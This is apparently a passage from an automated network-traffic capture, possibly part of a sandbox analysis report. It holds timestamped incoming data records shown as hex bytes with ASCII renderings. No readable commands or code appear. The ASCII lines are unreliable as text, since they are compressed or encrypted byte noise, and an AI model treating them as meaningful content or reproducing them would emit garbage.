54 12 4e 12 9c 24 73 a6 4e e6 bd 63 fe bc 16 62 39 29 79 eb 20 ae 59 5c ec 64 2b 75 65 9c 94 6c 9d c4 81 46 04 20 75 f8 
6b 1f cd eb 5f f0 9b 0d cc c7 ec 89 5d 7a 84 62 38 1c 38 25 80 46 03 d8 c0 03 13 fe b3 85 91 d4 63 26 b3 21 00 c4 20 63 
04 91 5b 04 a4 38 b1 0d 65 1e 34 60 6a bc 30 be 0c c3 3e 8d 47 8c b3 97 60 2a 45 df 47 c3 e0 1e 3c 66 47 8c e1 47 07 c6 
84 a9 b3 b8 89 d4 23 83 57 a3 c6 d4 31 1d db da 70 6d 2b ed 64 0c 8f 0a 82 a5 4e 44 72 e0 e0 27 41 65 de 1d 17 46 62 
48 07 24 69 18 89 1d 03 d1 00 f3 35 00 ea 92 cf dc cf 
Data Ascii: 9 P5q)0:erC5CLDc/8<Bq)=k7TN$sNcb9)y Y\d+uelF uk_]zb88%Fc&! c[8e4`j0>G`*EG<fGG#W1pm+dNDr'
AeFbH$i5

2022-01-13 21:05:25 UTC 1516 IN Data Raw: 13 f7 b3 13 ef 87 4e bc ff e9 89 2f 24 9c f8 00 ab ff 1f 38 e5 85 f5 a9 a7 bc b0 16 c1 e7 c5 dc ff f4 d1 1e cb a3 
dd a0 a3 ed c3 d1 6e 24 1f ed 46 f2 d1 6e 88 a3 dd fc f7 8e f6 ef 28 99 e9 74 ff 8b 4a e6 a6 3c dd cd df a2 f5 13 83 75 cf 8b
a8 83 50 18 c9 e2 28 e7 b7 b4 ce 1d ed c0 76 34 ad 33 9d 57 a0 c8 7f cc 25 e2 21 a5 49 8b 68 73 cf 74 66 a8 4c 6a 66 2b 
a7 4b 79 e0 2a a2 32 69 07 2a 13 1f 29 71 a1 73 76 50 61 e2 63 64 5b 8d 2c 8f 68 9e 63 2a 13 52 3a d7 f1 28 fb a4 96 fe 
af 08 74 80 b0 3c c9 75 69 9a 2c c8 32 97 72 c5 e5 24 45 34 3d 29 24 6a a0 e9 51 31 51 f5 4c 8f 96 26 56 00 24 ac 90 c8 
bd 50 5c 8d d0 01 bf 4b fc 9f 24 12 ff c9 7a e9 df 54 4b b7 09 82 b4 00 82 b4 73 11 b5 34 dc 08 a9 a5 e1 3a a2 96 86 3b 
89 6a e9 b6 00 2f 9d 38 7f f0 db d9 34 77 13 
Data Ascii: N/$8n$Fn(tJ<uP(v43W%!IhstfLjf+Ky*2i*)qsvPacd[,hc*R:(t<ui,2r$E4=)$jQ1QL&V$P\K$zTKs4:;j/84w

2022-01-13 21:05:25 UTC 1517 IN Data Raw: 14 0c 47 de d6 f2 82 ff 7c 02 f2 ad 3e 80 d9 bb 7e 42 b7 f4 27 a0 e1 6e 9f 80 86 6b 3c 1b 75 d6 7c 36 7c d6 7a 
36 3a 93 09 ab db 49 04 d1 42 52 26 f5 20 40 19 8c 29 7d 04 4b 24 72 a9 7f 7c 70 fb 54 9c fc 71 94 f2 79 79 8a 61 6d 95 
99 88 c3 9f 1b fd d9 55 98 96 a9 03 1b d4 e9 3d 79 9b 6d 75 62 01 02 53 38 2b e8 3e 35 b2 52 02 96 d3 ce 1b e7 d8 0b ec 
fe b1 c6 48 61 54 ff 44 db 75 c4 d5 e6 c1 e5 e9 49 b6 6f 0d 86 1e 10 ab b8 df 70 9b e3 98 4e 0f 70 a7 3b 26 d2 c9 c7 07 2c
9f 29 55 e0 20 0f 59 ca b7 ba 6e db 3b 83 19 3f e9 8d 1a b5 06 10 f4 28 a4 6d 74 9f 7a 2d cf 65 0b b6 05 3b 67 61 d8 78 
f3 30 fe 8d da d6 a5 20 87 20 40 05 46 d1 ca 13 5e 6e c1 0b c5 eb 81 47 e0 2f ce 2d 2a 3b f9 af 5f f3 a6 76 b1 67 4b d4 e0 
cb d3 f7 25 f4 ed 7e c2 b7 63 20 9a d1 16 76 0c 
Data Ascii: G|>~B'nk<u|6|z6:IBR& @)}K$r|pTqyyamU=ymubS8+>5RHaTDuIopNp;&,)U Yn;?(mtz-e;gax0  @F^nG/-*
;_vgK%~c v

2022-01-13 21:05:25 UTC 1519 IN Data Raw: 58 14 cf 8b 86 83 0f f8 c5 92 a8 4c c9 3d 11 3c 38 19 64 16 e5 4d 9c 0e 8f 61 d2 4d 52 6e 58 18 11 72 22 73 47 
3d 47 19 28 f1 de 67 27 1d f9 44 27 e9 bb 5c b9 12 6e b0 12 4f 80 e7 70 5e f1 5b 4c d4 79 e2 04 3b 41 b6 00 39 30 87 63 
b5 d2 97 d0 dc f6 c3 7b 80 b6 d4 9e 69 01 cb 33 1c 59 c0 90 f7 6a 0b f5 ab 8d f7 d3 86 61 4d 8c 53 bb 09 18 33 6b 0d 91 
28 48 63 64 45 e0 33 ea fc a4 5c b0 14 e9 c9 d0 ff 19 76 fa 02 91 e8 0b e2 40 64 53 21 ba 2d bf 92 91 d1 33 f7 f4 d0 d4 7b 
d9 d3 06 b2 28 76 f6 b6 a5 27 56 c8 b6 b3 3f e1 13 c9 a9 b2 8d f1 88 ed ec 71 c3 74 26 ea e9 b0 96 96 92 0b 87 36 1e af 
07 ab 70 05 f5 a4 44 29 fb 06 bb b2 5b 23 c3 2d 51 c1 c9 5a a4 79 b1 b5 5a 3f 0f 79 0d 86 dd b4 ea b2 27 9f d7 53 3d d7 
23 d7 ed c8 75 33 72 5d e6 d7 1d 58 1c 58 f8 4c 29 
Data Ascii: XL=<8dMaMRnXr"sG=G(g'D'\nOp^[Ly;A90c{i3YjaMS3k(HcdE3\v@dS!-3{(v'V?qt&6pD)[#-QZyZ?y'S=#u3r]XXL)

2022-01-13 21:05:25 UTC 1520 IN Data Raw: 7e 71 78 df 84 e8 a0 09 b2 92 30 6b 80 db f0 2f 8a 39 f5 3d e8 c8 65 4b 45 77 fb 55 c4 f7 42 3f 25 57 81 ec 18 
bf f5 40 ba 17 69 90 36 b3 61 c9 7c 83 71 00 8c 69 8a 44 12 83 e8 51 b1 50 4a eb 38 68 7a d1 40 8c c2 87 5f b7 69 02 ed 
38 fc 76 b2 bd 34 3d 8f b3 18 01 3c 08 7d 0a 60 da a2 30 e8 09 a0 e4 c7 c7 52 ec 9e 64 74 2a 0a f0 68 10 26 b3 30 6c 35 
fa 7d 54 ce 58 6d c0 53 ee eb 42 f0 14 40 13 62 c6 d8 d7 03 a5 bc 9d 83 43 87 80 47 84 d4 86 f5 7b b1 36 e0 2e 02 51 2b 
63 58 a5 29 af 93 87 6a bb eb 3a 
Data Ascii: ~qx0k/9=eKEwUB?%W@i6a|qiDQPJ8hz@_i8v4=<}`0Rdt*h&0l5}TXmSB@bCG{6.Q+cX)j:

2022-01-13 21:05:25 UTC 1520 IN Data Raw: 04 cd 11 58 64 94 24 9d 6f 21 ce d3 14 62 9f 82 9b 87 56 ab a8 64 75 1c c5 cb 1e 2c 3f 6d 07 b9 a3 16 62 23 8f 
ce ad e5 47 d6 2d 18 b5 00 08 41 5b 84 09 e1 71 93 a2 8a 02 6d 07 36 36 be 24 00 e4 90 08 08 85 ee 10 28 08 dd e9 c5 
ea b8 b1 3b 01 69 11 08 1a 63 ad ea 1a 00 54 93 b5 14 3d 13 d7 fe 3f b5 93 2c d7 15 3e 94 b0 b4 35 a2 78 d8 82 ed d1 0c 
01 a5 b0 80 5e da a1 fd 04 db 09 01 13 ad af a7 89 1d 79 1a 51 3b a3 12 38 d4 b3 87 96 34 db b7 52 46 58 c4 ef d4 89 75 
d6 2c f1 9f a2 55 1a 3e 1e 4e 45 1f 70 8c e6 47 44 36 ba 6c 80 0e 6d b5 96 64 e2 90 1a f0 78 a2 b5 c6 60 38 5a 20 c3 58 
c0 73 56 c7 43 cb 3c 47 8a fe 48 39 4f 20 6d 85 ad e5 d0 a1 12 6d 1c cc 5c 4c 1e d3 0f 6b 5d ad 2c f0 fd 30 c9 a6 64 3f 37 
80 e8 3c 3d 3b db ae a4 4c 61 ce e7 6d a4 2b 3a d9 20 
Data Ascii: Xd$o!bVdu,?mb#G-A[qm66$(;icT=?,>5x^yQ;84RFXu,U>NEpGD6lmdx`8Z XsVC<GH9O mm\Lk],0d?7<=;Lam+: 

2022-01-13 21:05:25 UTC 1521 IN Data Raw: 6c 74 24 a6 b5 24 a7 d3 49 c2 b3 0e ef c7 85 03 54 4d 93 38 dc 47 e7 ec ec 16 6a 4c 3c d3 fd 96 fa 2b f5 cd 83 
cf e6 5f b0 61 8b c4 df dc b4 d5 01 82 c2 16 64 d9 bd f3 90 21 17 23 a2 09 85 d5 a1 43 6a 16 3e 9d 88 88 c4 44 3a 48 95 
44 26 d2 c9 f0 6f 4f a0 36 b5 41 86 e9 90 47 45 87 3c 4a f3 3e e0 93 1f 9d 34 d9 be 3a e8 6d 45 16 db f2 51 09 55 c1 2d fc 
34 69 f7 84 df 49 76 dc ea eb d1 6b 12 7b d8 48 75 c6 29 23 d5 6e a4 58 87 7f 55 1d 8d c1 ad 8b 74 87 39 ac 86 86 da fc 
1b dd 0d 20 85 2f 4e d3 ef 55 df a8 33 94 df 32 52 a0 a2 45 a2 08 d1 eb 61 f2 29 d6 11 5b 2e 63 9c 9d c2 24 f8 38 c1 5e 
b6 0a ac 7d 89 8c 52 60 b2 4e f1 81 b7 f1 25 e5 00 df 99 1a 3a a9 4c e9 9c 6e 65 66 ec 31 98 1e 8d fe 76 12 e9 6f d8 fd 7c
0d fb 36 1a e3 a0 55 8d 2b 0d 5e 50 7f e5 08 5b 
Data Ascii: lt$$ITM8GjL<+_ad!#Cj>D:HD&oO6AGE<J>4:mEQU-4iIvk{Hu)#nXUt9 /NU32REa)[.c$8^}R`N%:Lnef1vo|6U+^P[

2022-01-13 21:05:25 UTC 1523 IN Data Raw: 3a ff ec 8f 24 cb 18 37 b0 11 73 37 92 ac e2 27 86 5b 8a af ab 87 3a 2d f4 51 76 51 67 44 36 29 cc ca ff a7 fd 
97 51 c1 32 ab 6f 0e 18 f2 d3 01 07 6d 42 f4 50 1c f4 da 6d 6f 20 a5 85 49 10 e3 a8 9e 10 2f 24 7a 47 ed ef a3 3a 09 f8 ef 
80 a5 b0 f2 a2 0e 93 4f 22 6f 85 5b b1 5a be aa fc 64 5b b4 11 ed 3c 6e 44 3b af ed a9 a3 76 12 66 8b f5 de 26 98 aa 80 
ee 33 d9 e7 cb da 45 b2 f2 3b b0 50 bc 52 50 bf 03 10 fd 14 aa 8d 04 34 6c ee bc 0a 18 f4 6c cb 69 76 93 96 f1 35 17 89 
30 a5 6c a0 02 60 bd 13 d8 77 22 87 c5 ef 29 37 8d dd 90 13 88 70 0c dc 95 de 5c 67 96 66 05 79 ab 1a fd 0c 35 6a 08 7d 
df 4f d9 aa 11 35 b2 01 94 55 43 5f 50 b2 53 9b 6e 49 e5 e4 b9 7a 13 05 8d f2 b7 18 f0 c8 0a bd f2 46 20 f0 91 25 df 39 36 
df 27 c2 2f 50 3a 9c 08 47 16 ed 0b 3a e6 bb 6f 
Data Ascii: :$7s7'[:-QvQgD6)Q2omBPmo I/$zG:O"o[Zd[<nD;vf&3E;PRP4lliv50l`w")7p\gfy5j}O5UC_PSnIzF %96'/P:G:o

2022-01-13 21:05:25 UTC 1524 IN Data Raw: d7 9f ba 71 4b 5c 4c b2 b3 55 f2 b3 63 8c 8e 84 b3 0d ac 88 f4 db 4e fb 62 ba 60 73 fa 9c c3 05 90 5f 46 4d 3c 
fe f5 04 a4 af 7c f2 b5 a9 0c cb 03 55 73 9c ee b0 fc 2a 6c dd 0d e9 21 a2 d7 86 c3 d9 ea f6 9c 16 6e 13 01 64 58 31 f7 77 
4d 55 7e 6e b4 db 0b 40 99 7b 9d fe 68 c1 aa 5b 68 8c 54 03 0e 64 81 42 88 42 ed 2f e5 a7 34 06 79 93 04 31 1e 18 40 3c 
8f b0 5b 70 17 d4 be e5 d1 b8 4a 76 d7 b1 5e f8 0b 65 9f 8c 60 05 be be 49 94 21 4c d6 36 e5 28 85 fd 53 28 2e e9 6d e9 
cb 86 c3 05 8b ef 6a ab eb 12 7c b1 44 87 00 4c c7 6d d8 e0 b0 79 00 c6 b9 12 c6 a1 17 b7 42 10 2e 5e fe d4 7c 25 c8 75 
db e5 05 5d 1d da b0 09 6f 3c 56 e6 be 23 f0 19 a8 11 26 db 9c b4 d8 f9 b0 49 8f 30 d8 41 e4 66 c3 46 e8 8b 13 b0 dd 65 
96 38 eb 28 e4 34 75 98 80 c2 eb ed 6e 02 74 e6 3c 
Data Ascii: qK\LUcNb`s_FM<|Us*l!ndX1wMU~n@{h[hTdBB/4y1@<[pJv^e`I!L6(S(.mj|DLmyB.^|%u]o<V#&I0AfFe8(4unt<

Timestamp
kBytes
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2022-01-13 21:05:25 UTC 1525 IN Data Raw: 19 0d 8a a1 13 8f da 9f c3 59 1a 94 d9 4a 06 03 ba 8a 8b 2f 2b c0 af 66 32 3f ef 78 9c 00 1e 94 a0 e3 b0 77 f7 
d9 70 49 57 71 97 5e 5f 47 6b 33 58 08 f3 3d 6f 60 f2 d3 02 fc cd b3 22 fc 2d b0 25 f8 bb c2 96 e1 ef 2a 5b 81 bf eb 6c d5 
28 e4 57 58 1e aa 16 8a c0 03 1b 85 e2 32 00 1c 28 e0 26 b4 29 ae b2 3c 34 2a ae b1 3c b4 2a ae b3 3c 34 5b ca 4d 58 
85 bf 00 bb 2f 42 67 45 f8 5b c4 ee 81 8d 5e 86 df cb d0 3d de 5f a5 bf 6b 06 4a de f0 25 f9 55 ae 91 f3 a3 c2 b7 cc 7b eb 
3a a4 8f 73 50 3e 1c 8d 07 db fc ff b8 7b d3 ae 36 92 a4 6d f8 3b bf 42 d4 d3 87 ae 1a 12 59 0b c6 b6 d4 ba 75 63 56 b1 
37 8b 6d 4c f3 f4 a9 4d 25 81 16 d0 c2 62 d0 7f 7f 63 c9 cc ca 5a 84 dd 33 f3 7c 79 e7 4c 1b 55 55 ee 4b 64 44 64 c4 15 
9a e7 65 df 87 84 d7 83 42 77 ef 27 bc 1e 22 61 1d 
Data Ascii: YJ/+f2?xwpIWq^_Gk3X=o`"-%*[l(WX2(&)<4*<*<4[MX/BgE[^=_kJ%U{:sP>{6m;BYucV7mLM%bcZ3|yLUUKdD
deBw'"a

2022-01-13 21:05:25 UTC 1526 IN Data Raw: d2 cf 53 45 e5 71 b5 61 da c0 44 ed 53 11 12 9e e2 ef ca 36 ec bb ab c2 2a c8 bf 46 b6 ed 38 f9 ba d4 0e 1e bb 
29 8c f9 13 b7 a1 10 3b 7b df 6f 7e 10 06 28 7d f8 96 6c f0 10 c3 05 20 b3 db 2b 8b 9b 13 a7 de 33 67 35 09 4e 27 f9 63 d2
a3 f6 a5 8d 01 a3 76 71 49 45 bf 17 ba 23 0d 72 2f 3b 0a 73 39 17 79 6e a1 f7 8b 1c 8e d2 5b 32 bf a0 19 95 65 ab d0 9f 
a2 b3 95 7a 81 a8 72 77 a8 d0 d4 af 76 e0 0d 73 08 0c 6b 27 5f 77 e0 b5 64 f5 ad 65 a9 04 92 0e ce c5 2e 33 08 0e 33 40 
89 26 6e 26 d6 38 62 21 0c e4 40 58 67 30 30 77 7c 79 89 c5 92 2d 4b a1 8b ed 70 a1 44 27 19 c4 10 19 ee f5 69 d0 1d 
d2 79 89 cc be 90 6f 29 04 a6 7e 9b e3 27 0a b2 cc e4 41 5d b8 90 a2 5a 79 1c 0d 93 34 04 5a e6 1a b0 c1 bc 55 2c bc 21 
9b e2 0e a2 5f 7d 5b 2e fc 3b 5f 62 eb 24 ba 3b 4d 17 
Data Ascii: SEqaDS6*F8);{o~(}l +3g5N'cvqIE#r/;s9yn[2ezrwvsk'_wde.33@&n&8b!@Xg00w|y-KpD'iyo)~'A]Zy4ZU,!_}[.;_b$
;M

2022-01-13 21:05:25 UTC 1528 IN Data Raw: 11 4f cc 83 3b 56 96 41 e3 09 da be 76 07 44 da 54 62 32 7b 2d dc 01 7f 3b c4 19 aa d9 5c fe 26 be a6 5d 36 
72 07 e3 2e 0e 38 83 c8 f3 a4 c2 22 51 05 b0 f5 ec 34 86 32 fc 49 9b 6c 9e 51 ec a8 54 81 c0 af 83 06 ac 43 44 f3 40 73 fb 
84 01 99 d4 58 70 ab 12 45 73 77 14 71 d6 66 c2 a6 39 6f b1 b0 ee a1 5f 02 f2 6e ee 6d 58 18 0e a0 e3 88 35 52 80 d6 f6 
ba 7e 77 a2 cc 76 71 9e 17 68 c3 bd ff f0 11 b7 5a df c6 50 30 b0 de 2a 5b 55 5a ff 30 2b 70 ac e3 fe 46 69 a5 5f 87 43 ff 
44 59 85 4a de a1 de d7 5c 83 69 73 42 4d df 40 ce 9a cc f7 c2 41 90 b9 c4 1a b1 b9 46 66 dd 43 43 76 1b 32 c2 98 79 3c 
ec 4a ab 82 93 39 57 e8 f9 a3 49 31 30 f0 1a 7a dd 53 20 2e 33 f1 1e 03 5a 43 c3 bd 84 e1 1e b6 56 95 40 51 89 c4 24 a5 
17 e0 15 e9 16 0f 70 77 98 c9 e1 15 32 ba 3c 71 82 
Data Ascii: O;VAvDTb2{-;\&]6r.8"Q42IlQTCD@sXpEswqf9o_nmX5R~wvqhZP0*[UZ0+pFi_CDYJ\isBM@AFfCCv2y<J9WI1
0zS .3ZCV@Q$pw2<q

2022-01-13 21:05:25 UTC 1529 IN Data Raw: 4c 6a a3 fc f7 94 5a da 26 ce 1b be 0f 1f e2 0c 3c 2b 1b 9a d1 87 3c 67 b0 fe c6 ed bc 66 7d 8c f3 7d e0 ee a6 
6c 96 8c b4 9f e2 b4 3c 45 87 b1 d5 24 87 f0 db 9c 86 e7 c3 b3 ce 74 12 c0 f6 37 b2 7e 2c 89 05 9d f7 53 3a ef 3e 08 c0 
67 24 4f 1c 27 32 c5 ab e7 3d 4c 9a dc d3 8f 39 b6 21 8f dd 60 82 51 13 6f 24 0e 51 d8 8d 3a 13 bc c9 e1 67 8a 3f 73 8a 
8a 65 17 51 38 1f 7f f1 9a 9d 58 b7 b3 8e 7b 17 da 5c 81 d4 be d1 03 a2 c0 cb 7a 94 b6 9a 9e f0 7d 5c 9f ba 4d d7 6f f0 16 
dd c9 34 61 6f 3c cc b9 5c 7d a1 8a 6a 71 9d 82 ab a8 19 d5 09 5d 72 2d 59 d1 2c 55 c9 5c 8b cf c5 45 a5 94 e6 4e c2 18 
d1 0f f9 52 f6 11 07 93 7e c9 d7 71 17 e1 4b 5c 29 cd d0 53 39 c3 e4 4b 9c 22 a9 88 bc 61 55 40 fd e9 97 2c 0a 1f f5 95 1a 
e3 59 64 f9 41 b4 d0 56 bc d9 4c fc c8 26 e8 24 
Data Ascii: LjZ&<+<gf}}l<E$t7~,S:>g$O'2=L9!`Qo$Q:g?seQ8X{\z}\Mo4ao<\}jq]r-Y,U\ENR~qK\)S9K"aU@,YdAVL&$

2022-01-13 21:05:25 UTC 1530 IN Data Raw: 9e 7a de 45 50 8d 05 cf 18 b9 9e 78 f9 73 bf e6 cd 14 22 31 47 be fa f5 43 71 4f 33 11 5f ff b3 00 28 46 1c 90 f2 
cf e3 80 ec a5 76 f2 bc 90 e2 3a ac 80 82 3f de ff 69 d7 d6 65 a0 1a dd b1 f5 5e 82 3b 3a 48 ef 98 0c 69 f5 7f 42 5a e7 d0 
c8 39 14 75 2e e9 cc 27 94 a9 38 50 8a 8a f7 b4 45 7f 64 18 fa 27 e3 8a 61 44 31 19 7a f4 d6 a9 1f b9 ae 79 f3 cb 48 86 
8b 3e de 32 9a 2e f9 c1 76 9d e1 39 11 6a 8f a0 03 ca 1f 39 8e 22 11 de 03 22 bc b7 8d 03 13 18 ea 36 65 f8 7f 28 19 d8 
b7 82 c8 43 9e 9c 09 5e dc 47 e0 ed c5 4e fb f5 15 75 a1 65 06 60 ea 8e b7 06 c8 23 cc 25 ef 3d 82 6e 18 87 93 4c 3a a5 
ff d8 a0 7b 61 65 31 ab 0b c4 b7 d2 00 4d dd 74 9d df 66 02 a2 6c 0b 97 1b 72 7e 9b 0f 6a 81 f1 b9 04 42 d8 02 ad ff e6 
b9 6c ee 9c 80 61 63 d3 b5 48 e1 2e 2c 2d 79 af 
Data Ascii: zEPxs"1GCqO3_(Fv:?ie^;:HiBZ9u.'8PEd'aD1zyH>2.v9j9""6e(C^GNue`#%=nL:{ae1Mtflr~jBlacH.,-y

2022-01-13 21:05:25 UTC 1532 IN Data Raw: 85 ed 5e f9 88 70 1a cb 48 ca f2 d4 ab 64 0e 74 10 77 ae bc d4 ec b3 92 50 61 e8 e4 54 e9 36 11 19 cd 9d 89 
df b2 96 89 68 27 97 28 4e 46 b7 f6 9b 2c a3 16 a8 c6 eb 1a ff 69 f8 a9 21 a1 f1 9d 73 43 e9 56 94 8e 89 e7 5a 46 16 91 
7e 6f 49 34 68 49 03 fc 4a 0e b1 7b e9 d4 94 7b 6e 50 79 83 6a dd f8 06 43 1d 54 d4 11 09 af 1b 57 d5 6b 11 26 f3 ce 67 
10 83 ca 2f 33 88 4f b7 24 b5 62 dc 64 6f 7e 3c 6a 17 e3 26 7b 66 3c 6a 1d bd 99 f4 0e 9a c3 3c 51 1c 26 c6 71 3e fe 19 87
59 0f 52 cb f9 90 81 66 7e 7a ca 10 b5 9d b7 7b 13 11 d2 5e 30 1c 5a 18 bf 09 c9 f3 a8 16 26 37 36 bd 53 0e 7a be 69 68 
01 43 f9 bd 9c 0a d5 15 71 7a 24 82 6a ef 47 4d 3f 81 95 d5 d6 5b 18 b5 89 ed 8a f8 0e c7 48 fb 97 7b ab 36 2f 41 e0 f8 39 
61 5b a4 9b 51 c3 22 cb 31 ba 55 93 de 9c 56 d2 19 
Data Ascii: ^pHdtwPaT6h'(NF,i!sCVZF~oI4hIJ{{nPyjCTWk&g/3O$bdo~<j&{f<j<Q&q>YRf~z{^0Z&76SzihCqz$jGM?[H
{6/A9a[Q"1UV

2022-01-13 21:05:25 UTC 1533 IN Data Raw: 50 c3 da 7b b3 96 6d a8 65 9b 6a e9 c5 b5 c0 39 fd 56 9e 1b 82 a2 c5 3c 03 99 67 0d 76 92 b8 7b 33 d3 26 64 
da a4 4c 77 32 53 75 eb fd 4c 0c 33 93 4e 3e 6d 33 71 ff 66 69 3d c2 b8 c5 d2 ee 65 69 a5 99 18 e5 66 81 29 86 c4 53 4a 
3c 92 89 61 c3 cf c4 24 23 e2 ca 85 80 cb 58 8c e7 14 16 21 96 ae 72 1d 1d 73 79 04 ac a4 a1 de 67 62 fa 46 de 8e 4a 37 
8d f3 76 8c bc 8f d9 56 6d c4 ad 7a 78 a3 e4 0d 55 ca 83 2a 79 c1 78 a9 20 92 32 e3 0d e7 d6 23 81 d1 16 c9 57 68 43 47 
59 36 03 43 a4 3e a9 28 01 a8 42 08 1a 1b 88 de 27 d2 c1 f6 0c 2f 3f cd 2f 10 87 e1 26 22 37 86 69 f6 c2 d6 e9 05 99 32 
f9 e4 7d 95 bc c8 95 36 28 33 58 26 f3 08 7e 3b 24 b1 99 70 13 46 b9 82 d8 cb ac ee d2 8d ba be 4f 8f a5 71 8a 96 cb 7c 
fc a2 5f 0c 86 83 b0 1e bf 72 38 0a 05 5e a8 7b 57 18 12 
Data Ascii: P{mej9V<gv{3&dLw2SuL3N>m3qfi=eif)SJ<a$#X!rsygbFJ7vVmzxU*yx 2#WhCGY6C>(B'/?/&"7i2}6(3X&~;
$pFOq|_r8^{W

2022-01-13 21:05:25 UTC 1534 IN Data Raw: 26 ad e7 08 cd 43 a0 63 04 66 75 d4 26 29 53 07 b2 8d f7 4b cd 78 30 37 75 c4 9b 5a 7d 6a dc 12 d7 a3 b3 b1 
01 af 8c 61 9a 7a 3f 44 88 41 56 f8 30 f7 6e cc 8e 6c fa d9 38 57 26 d4 27 b2 52 96 88 2b 17 b1 d4 f9 d2 3c 01 ce b4 e1 b0 
5f 15 f4 fc 39 97 78 dc 50 80 35 f7 97 47 50 e3 25 eb fa 80 d7 5b 2c 03 81 91 5c 66 1b d9 81 a8 f1 99 96 01 ee 48 54 45 
67 af 0f 14 da 48 53 b2 32 15 e2 99 24 c7 ea d4 36 64 f6 11 1a 0b f7 1b d1 c4 be 8a 44 e7 3a e7 1e 42 17 b4 50 ae 6d aa 
5c 18 ac 7d 84 41 46 f2 04 91 2a 39 d0 10 f9 eb 70 b9 a2 ff 46 c9 58 58 f1 32 68 62 79 fc b7 42 7f 5f e4 1e a9 51 02 96 69 
f5 76 a1 c4 fc ee a8 5d a3 2c f4 34 ab bd 99 cd 60 20 d7 44 5c 06 1f 4b c6 f3 7e 60 3e d1 8d 24 d5 31 0a dd f1 70 e0 60 9d 
d5 5f af 2a 96 14 42 2e 76 4e 31 1a 0c 29 b7 94 
Data Ascii: &Ccfu&)SKx07uZ}jaz?DAV0nl8W&'R+<_9xP5GP%[,\fHTEgHS2$6dD:BPm\}AF*9pFXX2hbyB_Qiv],4` D\K~`
>$1p`_*B.vN1)

2022-01-13 21:05:25 UTC 1535 IN Data Raw: cc 74 f0 ed 21 7c 03 b6 e7 38 6b f2 b0 68 fa b1 7a a2 e5 ba a4 1d c0 07 e5 92 28 0f e9 ee be 6d 3d 9e 3f 7c f2 
7c 38 b5 ee f6 c2 fd 0f 40 22 c4 7e 45 7f 1c fe f8 e2 ae b7 11 0e fa 69 1c 74 3d 4b 5c 9d ee c3 51 fe a7 91 df bd 39 0c 76 
21 c5 f7 4f 7f 3e 6f 85 90 fd d4 f8 38 38 0e ca 3f b0 f0 5e d0 7b b8 c7 c2 cf 8c af e7 8f de 51 1b bf ee 1c 9e dc 97 03 b9 a4 
0e 2a 6f 4d 24 03 dc e2 69 cd d1 ab 2e 26 dd 1e 14 7b 3e ef 12 b7 8c 16 37 1e 5b d0 8b 2f 73 ee 6b 6c 4f 43 84 10 70 87 
c7 c0 1d 64 90 45 20 9f 7e 46 af 1d 03 01 33 80 48 c9 c1 a8 ae a8 c1 93 3b 46 33 df 70 74 9e b3 40 ce b8 16 84 e3 a1 a9 
d6 05 1d 79 33 71 98 77 84 7f 05 96 66 0e f0 ed 37 ba 7c 73 93 fc b5 97 a3 e1 f2 53 e8 b5 71 c3 83 99 c3 d0 c2 19 38 16 
25 09 1e 33 c2 b1 16 77 52 00 d5 89 a2 90 07 
Data Ascii: t!|8khz(m=?||8@"~Eit=K\Q9v!O>o88?^{Q*oM$i.&{>7[/sklOCpdE ~F3H;F3pt@y3qwf7|sSq8%3wR

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1537 IN Data Raw: 5f f2 35 23 e9 76 6f 1b e6 50 d7 6f 8b 07 39 06 92 a4 c6 bd 2d 7e 8b d2 cc 2b 2d 49 19 6d d9 6b 18 d7 db 9e 
8a 1c be a3 f6 cf 61 c3 23 80 ae f3 ce bc d9 8c a0 65 c1 d4 37 58 71 53 4e f9 c2 e6 25 bb 68 a1 cb c1 ac d0 0b 05 5a d5 
ca 01 6b fe 07 05 ee c4 05 62 69 fb 73 fd a2 7f a9 b4 c3 64 69 ad b9 4b b7 53 ec 05 98 62 37 2f 85 da 79 64 e5 82 a9 de 
80 a5 be 3a be 0b 47 ec e3 d8 0d 90 a1 93 04 02 63 da 8d c3 91 62 f3 78 97 23 e6 34 52 38 fd 06 9b 81 2f 1f 18 4d 56 bf 
df 5b b6 ae 2d b9 bb be a6 3d 6b c9 06 a7 85 d7 07 88 94 35 71 23 96 e8 44 59 47 00 2e b0 8e c3 75 9a 2b 65 f4 4c fe 96 
30 08 5a f7 32 64 b6 2f bd 3d ad b8 37 18 ea cd ed 91 df 5b c1 0b c3 41 21 24 7b 57 8c 2c a8 48 6e 1f 32 ac 73 92 2d f9 
91 d1 f8 91 2e 7e ab 88 75 8f 19 d2 2f e9 ad a4 cc 9b 24 
Data Ascii: _5#voPo9-~+-Imka#e7XqSN%hZkbisdiKSb7/yd:Gcbx#4R8/MV[-=k5q#DYG.u+eL0Z2d/=7[A!${W,Hn2s-.~u/$

2022-01-13 21:05:25 UTC 1538 IN Data Raw: 89 a3 03 51 c6 70 dd b2 19 c8 c2 45 b2 a9 37 c1 3c eb 88 b4 61 92 ac 42 71 ee 59 16 51 5d 48 55 91 f3 83 ca 
e4 2e 5a 2c 91 35 d9 4c 44 f9 a3 02 8c 4e 06 70 cb 6b dc 22 5f 88 09 74 df 7a 81 b4 a9 85 2c a9 ca 63 d7 a0 08 66 65 66 
f2 31 71 2e 02 a6 b1 53 bd 72 8a e3 03 79 73 f4 32 23 d5 47 f8 53 d5 47 90 9b 8a ef f4 af 1b b1 75 56 c2 ba 66 a7 02 12 
98 64 a1 ff d9 ba 24 69 c5 64 9e 3b be e4 69 17 74 2f 6f 55 2f 4d d3 96 af b8 dd 4e 08 c9 1f 4d 8a 30 56 83 c4 25 84 7e 3e 
f6 48 31 ed 23 e2 60 6c 52 c4 d7 56 d9 79 72 5e 9e 4b 29 04 9f 40 dd b8 c5 57 f1 eb 37 f9 d7 e4 63 6a 8e 77 31 f7 76 57 
76 7c 03 7e 2b 11 71 e4 6b ed 96 d4 4a 4a f5 e4 7d a7 e1 4d 6c b5 0a d5 05 9e e9 56 10 ab 2f 2f db 0d 2e 66 ff bb 76 44 
28 4a ad e5 66 76 0d ed 1e d9 f3 ad ee db b1 5b e9 4c 
Data Ascii: QpE7<aBqYQ]HU.Z,5LDNpk"_tz,cfef1q.Srys2#GSGuVfd$id;it/oU/MNM0V%~>H1#`lRVyr^K)@W7cjw1vWv|
~+qkJJ}MlV//.fvD(Jfv[L

2022-01-13 21:05:25 UTC 1539 IN Data Raw: 94 db 65 da df 53 dc 90 df d0 cf 7b c4 c4 f1 d0 80 39 e1 89 87 93 a7 be 5b 86 0c 0f a6 78 87 8f 49 1d 3e 2f 0d 
